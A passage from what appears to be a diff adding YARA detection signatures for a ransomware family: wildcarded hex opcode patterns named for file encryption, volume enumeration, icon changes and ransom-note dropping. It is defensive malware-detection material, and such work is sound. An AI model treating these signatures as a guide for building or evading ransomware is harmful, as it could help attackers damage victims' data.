E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? + ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 84 C0 0F 44 CA 8D 45 ?? 50 E8 ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 80 BD ?? ?? ?? + ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? C6 45 ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 + } + $encrypt_files_v5_p1 = { + 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? + ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? + C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? + 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C7 45 ?? ?? ?? ?? ?? 8D 4B ?? E8 ?? + ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B C2 ?? ?? 8B 7D ?? 83 + C1 ?? 8B 35 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B 7D ?? + 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? + E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ?? + FF 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? FF 75 ?? 83 + } + $encrypt_files_v5_p2 = { + C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C ?? 81 FF ?? ?? + ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 66 0F 13 45 + ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CF 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 50 51 E8 ?? + ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 45 ?? F2 0F + 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 ?? ?? ?? ?? + 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? + 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 85 + C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? + ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F 11 45 ?? 50 + E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D + ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 50 FF 75 ?? + FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? ?? ?? 89 45 + ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 FF 75 ?? 57 + 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 57 + C0 66 0F 13 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B + 7D ?? 89 45 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B CF 0F A4 C8 ?? 6A ?? C1 E1 ?? 03 + 4D ?? 6A ?? 13 45 ?? 50 51 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 8B 45 ?? + 13 45 ?? 89 45 ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 7D ?? 0F 82 + } + $encrypt_files_v6_p1 = { + E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 85 F6 0F 8F ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 03 48 ?? 8B 01 FF 50 ?? 83 7B ?? ?? 8D 43 ?? + F2 0F 10 05 ?? ?? ?? ?? 0F 43 43 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? + ?? ?? 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 8D 45 ?? 50 57 FF 15 + ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C6 45 ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B + C2 ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B CF 76 ?? 8B FE 2B 7D ?? 66 + 8B 04 0F 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? 2B 75 ?? D1 FE E9 ?? ?? ?? ?? 8B 7D + ?? 83 C6 ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B + 75 ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 + } + $encrypt_files_v6_p2 = { + 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D + ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? + ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? + 6A ?? E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? + ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? + FF 75 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C + } + $encrypt_files_v6_p3 = { + 81 FE ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 + 66 0F 13 45 ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CE 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 + 50 51 E8 ?? ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 + 45 ?? F2 0F 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 + ?? ?? ?? ?? 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? + ?? ?? ?? 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FE ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 + 05 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F + 11 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 C6 45 + ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 + 50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? + ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 + FF 75 ?? 56 6A ?? 6A ?? 57 C6 45 ?? ?? 8B 4D + } + $set_default_icon_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? C7 + 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 + 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? B0 ?? C7 45 ?? ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 98 + 66 31 44 4D ?? 41 83 F9 ?? 73 ?? 8A 45 ?? EB ?? 33 C0 56 66 89 45 ?? C6 45 ?? ?? 8D + 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 C7 45 + ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? ?? ?? ?? E8 ?? + ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 C7 45 ?? + ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 + } + $set_default_icon_p2 = { + 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? + 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? + ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 6A ?? 66 89 45 ?? 8D 45 ?? 0F 43 + 45 ?? 6A ?? 6A ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 8D 4D + ?? 8B 45 ?? 0F 43 4D ?? 03 C0 50 51 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF + 75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 6A + ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 B8 ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 89 45 + ?? C6 45 ?? ?? 8B 4D ?? 5E 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 + ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? + ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 + } + $find_system_volumes = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 81 EC ?? ?? + ?? ?? 53 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? C7 06 ?? ?? ?? ?? + C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 + ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F8 66 90 + 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 33 D2 C7 45 ?? ?? ?? ?? ?? 66 89 55 ?? + 83 C4 ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 0C 00 C7 45 ?? ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 03 C1 C7 45 ?? ?? ?? ?? ?? 3B D0 74 ?? D1 F9 8B C2 + 51 50 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 46 ?? 3B 46 ?? 74 ?? + 6A ?? 51 50 C7 00 ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 46 ?? ?? 66 89 45 ?? + EB ?? 51 50 8B CE E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C + 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 + ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? 66 89 45 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF D3 85 C0 0F 85 ?? ?? ?? ?? + 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C6 5F 5E 5B 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 + } + $drop_ransom_note_v2_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 + 56 57 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 8B D8 2B CF 83 C4 ?? 3B CB 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? + 8D 0C 3B C7 45 ?? ?? ?? ?? ?? 0F 43 45 ?? BE ?? ?? ?? ?? 89 45 ?? 8D 45 ?? C7 45 ?? + ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B CE 76 ?? 8B F1 83 CE ?? 81 FE + ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 3B F0 0F 42 F0 8D 46 ?? 50 8D + 4D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 0C 3B 89 45 ?? 89 75 ?? 8D 34 3F 56 FF 75 ?? 89 4D + ?? 50 E8 ?? ?? ?? ?? 8B 7D ?? 8D 04 1B 50 68 ?? ?? ?? ?? 8D 0C 3E 51 E8 ?? ?? ?? ?? + 8B 45 ?? 33 C9 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 66 89 0C 47 C6 45 ?? ?? B8 ?? ?? ?? ?? + 83 3D ?? ?? ?? ?? ?? 8D 4D ?? FF 35 ?? ?? ?? ?? 0F 43 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? + ?? 8B F0 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? + ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? 83 C4 ?? 66 + } + $drop_ransom_note_v2_p2 = { + 89 06 BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B + 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B + 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 51 52 E8 ?? ?? ?? ?? 83 C4 + ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 6A ?? 66 89 45 + ?? 8D 45 ?? 0F 43 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B F8 83 FF ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? + ?? 57 FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ?? C6 45 ?? ?? 8B 4D ?? 5F 5E 5B 83 F9 ?? 72 + ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B + C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D + ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files_v5 = { + 50 FF 15 ?? ?? ?? ?? 8B D8 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 + ?? C6 45 ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? + ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 8D 8D ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D + ?? ?? ?? ?? 51 8B C8 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D + 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 8B 85 ?? ?? + ?? ?? 8D 0C 41 89 4D ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 89 45 ?? 89 45 ?? 8D + 04 78 89 45 ?? 51 50 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 8D 45 + } + $find_system_volumes_v2_p1 = { + C7 45 ?? ?? ?? ?? ?? 89 7D ?? FF 15 ?? ?? ?? ?? 8B D8 8D 45 ?? 50 68 ?? ?? ?? ?? 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A + ?? 6A ?? 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? + 85 C0 0F 84 ?? ?? ?? ?? F7 45 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? 8D 04 41 50 8B C1 8D 4D ?? 50 + E8 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? 8B 4D ?? 3B 4D ?? 74 ?? 6A ?? 56 51 C7 01 ?? ?? ?? + ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? + ?? ?? C7 46 ?? ?? ?? ?? ?? C6 06 ?? 83 45 ?? ?? EB ?? 56 51 8D 4D ?? E8 ?? ?? ?? ?? + C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 75 ?? 33 C9 89 4D ?? B8 ?? + ?? ?? ?? 8B 4D ?? 2B CE F7 E9 C1 FA ?? 8B C2 C1 E8 ?? 03 C2 0F 84 ?? ?? ?? ?? 33 DB + 8D 4D ?? 8D 04 33 89 4D ?? C6 45 ?? ?? 8D 4D ?? 51 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 + C4 ?? 8D 4D ?? 83 CF ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C6 45 ?? + ?? 83 E7 ?? 89 7D ?? C6 45 ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? 3B 35 ?? ?? ?? ?? 74 ?? + 6A ?? 50 56 89 75 ?? C7 06 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? 